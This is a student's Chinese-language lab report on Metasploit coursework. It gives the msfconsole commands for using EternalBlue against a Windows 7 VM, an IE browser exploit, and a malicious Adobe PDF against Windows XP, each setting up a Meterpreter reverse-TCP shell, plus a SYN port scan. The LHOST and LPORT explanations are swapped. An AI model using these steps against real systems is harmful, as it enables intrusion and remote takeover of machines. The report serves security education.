2019-2020-2 20175320 《网络对抗技术》Exp6 MSF基础应用

2019-2020-2 20175320 《网络对抗技术》Exp6 MSF基础应用

一、实验要求

了解metasploit六大模块的功能,并能从从各模块中找出需要的功能并实现攻击。

二、实验目标

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 1.1一个主动攻击实践(成功,重复的可能较高)
  • 1.2 一个针对浏览器的攻击(成功,重复的可能低)
  • 1.3 一个针对客户端的攻击(成功,重复的可能低)
  • 1.4 成功应用任何一个辅助模块(成功,重复的可能高)

三、实验过程

1.准备工作

本次实验主要需要用到metasploit,而在前面的实验中我们已经完成安装了。其次是被攻击的靶机,这里我安装了windows xp以及不带service pack的win 7作为靶机。

2.主动攻击实践(利用ms17_010漏洞)

(1)要利用漏洞对靶机进行攻击,首先需要对靶机进行漏洞扫描,这里我使用了namp扫描了不带service pack的win 7主机,扫描的nmap命令为:sudo nmap --script=vuln 目标ip,扫描的结果如图所示。

(2)通过扫描,我们可以发现该win 7系统有一个编号为ms17_010的漏洞,获得系统有的漏洞后,我们在终端中打开metasploit,在msf中输入search ms17_010命令搜索与ms17_010漏洞相关的模块。

(3)在搜索出的模块中选取exploit模块,并按照攻击效果等级的高低依次对各模块进行尝试,这里我发现ms17_010_eternalblue是可以成功攻击的。要使用ms17_010_eternalblue,需要输入命令use exploit/windows/smb/ms17_010_eternalblue

(4)使用use选择需要的漏洞攻击代码后,输入命令show payloads查看可用的payload,这里我使用命令set payload windows/x64/meterpreter/reverse_tcp选择并设置了payload。

(5)输入show options查看攻击所需要设置的参数。在各参数中,一般在required属性中为yes、且current setting属性中没有默认值的话就需要使用set命令进行设置。

(6)设置完成后,使用exploit命令进行攻击,即可与被攻击主机进行连接并获得shell。

3.针对浏览器的攻击(利用ms10_090漏洞)

(1)与主动攻击相似,首先打开metasploit,然后使用命令search browser搜索与浏览器相关的模块。

(2)对搜索到的模块进行筛选,这里我们只关注攻击模块中window平台下的browser模块中对ie进行攻击的攻击代码,并且按照攻击效果的好坏(Rank属性中的good、normal等)依次对攻击代码进行尝试。最终我选择了ms10_090_ie_css_clip这一攻击代码。选定代码后,使用命令use exploit/windows/browser/ms10_090_ie_css_clip选择并使用模块。

(3)使用show payloads命令显示可用的载荷,set payload windows/meterpreter/reverse_tcp选择并使用载荷。

(4)使用show options命令查看选项,set命令设置参数。

(5)参数设置完成后,使用exploit命令进行攻击,将生成的URL复制到windows xp的浏览器中并打开,此时攻击主机会与被攻击主机建立连接。

(6)建立连接后,使用命令sessions查看会话,使用命令sessions -i 会话编号选择会话,之后输入命令shell即可获取被攻击方的shell。

4.针对客户端的攻击(对adobe进行攻击)

(1)打开metasploit,在终端中输入命令search adobe搜索与adobe相关的攻击模块。

(2)使用与前面相似的方法进行筛选,但这里我们需要使用exploit中的windows平台下的fileformat模块下的攻击代码。经过尝试后,我使用命令use windows/fileformat/adobe_collectemailinfo选择并使用了攻击代码。

(3)使用命令show payloads查看可用的载荷,接着使用命令set payload windows/meterpreter/reverse_tcp设置载荷。

(4)使用show options命令查看选项,set命令设置选项的参数。

(5)输入exploit命令进行攻击,生成的恶意pdf文件复制到被攻击的xp主机中。

(6)攻击主机退出当前模块,使用命令use exploit/multi/handler进入监听模块,windows/meterpreter/reverse_tcp命令设置载荷,并使用set LHOST 192.168.219.134命令设置监听端口,命令set LPORT 5320设置攻击主机的ip地址,exploit命令启动监听。

(7)被攻击xp主机使用adobe reader打开恶意pdf文件,攻击方可以获得被攻击主机的shell。

5.应用任何一个辅助模块(进行syn扫描)

(1)使用cd /usr/share/metasploit-framework/modules/auxiliary命令进入辅助模块所在的文件目录,在这一目录下我们可以看见辅助模块包含的所有模块。

(2)这里我选择了辅助中的scanner模块,cd scanner进入扫描器模块的目录,这里可以看见该模块的所有扫描功能。

(3)使用cd portscan进入端口扫描功能的目录,该目录下我们可以看到端口扫描相关的ruby代码,这里我使用syn的方式进行扫描

(4)使用高级权限打开metasploit,use auxiliary/scanner/portscan/syn命令使用扫描模块,然后set RHOSTS 192.168.219.139设置需要扫描的端口。

(5)使用exploit命令进行扫描。
四、扫描出的端口

四、实验中遇到的问题

问题一:在对浏览器进行攻击时一直卡在转移到系统级进程这一步,且靶机计划自动关机。

问题一解决方法:重新启动攻击模块,且在靶机中输入URL并完全跳转页面后再切换为攻击方的虚拟机。

问题二:使用复制模块进行扫描时输入exploit指令后无法进行扫描。

问题二解决方法:使用高级权限运行metasploit。

五、实验感想和思考

本次实验总的来说并不是特别困难,主要了解如何获得我们需要的攻击模块。模块搜索可以到metasploit的目录下使用grep命令或在msf中使用grep命令。有些靶机虽然有着某一漏洞,但实际metasploit中对应漏洞的攻击代码无法攻击该主机,为此我们可以先打开攻击代码的ruby文件查看攻击模块的描述,看看该漏洞攻击代码能否用于靶机。虽然模块的使用并不困难,但在找到合适模块之前我们需要经过多次尝试,这就需要一定的耐心和技巧。本次实验如果要成功攻击,靶机的选择十分重要,对于有service pack补丁的靶机比较难以扫描出漏洞或是攻击成功。

思考:

  • (1)用自己的话解释什么是exploit,payload,encode.
    答:exploit即为攻击相关的的模块与代码,payload用于建立连接并传输数据,encode即为编码器,用于对攻击代码进行重新编码,改变攻击代码的特征。

  • (2)离实战还缺些什么技术或步骤?
    答:我觉得还缺乏更好的漏洞扫描方式以及攻击代码。实验中的靶机基本都是比较老的或者是没有打补丁的系统,如果将打了补丁的系统作为靶机,首先是比较难以搜索出系统的漏洞,其次是比较老的漏洞都被补丁进行了修复,因此使用metasploit很难攻击成功。

原文地址:https://www.cnblogs.com/nameless-student/p/12788642.html